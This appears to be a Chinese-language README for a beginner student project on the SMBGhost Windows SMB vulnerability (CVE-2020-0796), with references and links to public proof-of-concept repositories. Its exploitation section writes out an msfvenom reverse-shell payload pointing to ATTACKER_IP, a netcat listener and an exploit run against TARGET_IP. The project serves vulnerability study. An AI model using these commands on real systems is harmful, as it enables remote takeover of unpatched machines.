CVE-2020-0796

CVE-2020-0796 解释与漏洞研究，适用于初学者的 CENG325 学期项目

如何利用？

用于反向 Shell 的用户载荷生成：

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=5555 -f python

监听端口：

nc -lvnp 5555

漏洞利用代码执行：

python3 exploit.py -ip TARGET_IP

PoC 仓库

• https://github.com/chompie1337/SMBGhost_RCE_PoC
• https://github.com/ollypwn/SMBGhost

参考资料

1. CVE-2020-0796：“可蠕虫化”远程代码执行漏洞。(2020年3月13日)。Tenable®。https://www.tenable.com/blog/cve-2020-0796-wormable-remote-code-execution-vulnerability-in-microsoft-server-message-block
2. “I’ll ask your body”：利用直接内存访问结构实现SMBGhost预认证远程代码执行。(2020年4月20日)。Ricercasecurtiy.Blogspot。https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
3. CVE-2020-0796 Windows 10 SMB服务器内存损坏漏洞| FortiGuard Labs。(2020年3月12日)。Fortinet博客。https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server
4. Team, K. (2020年4月2日)。CVE-2020–0796 Windows SMBv3 LPE漏洞利用PoC分析。Medium。https://medium.com/@knownsec404team/cve-2020-0796-windows-smbv3-lpe-exploit-poc-analysis-c77569124c87
5. CVE-2020-0796 –。(2020年)。Cyber Threat Insider博客。https://blog.sensecy.com/tag/cve-2020-0796/

项目成员

• ezginurr
• zehrosh
• busracagliyan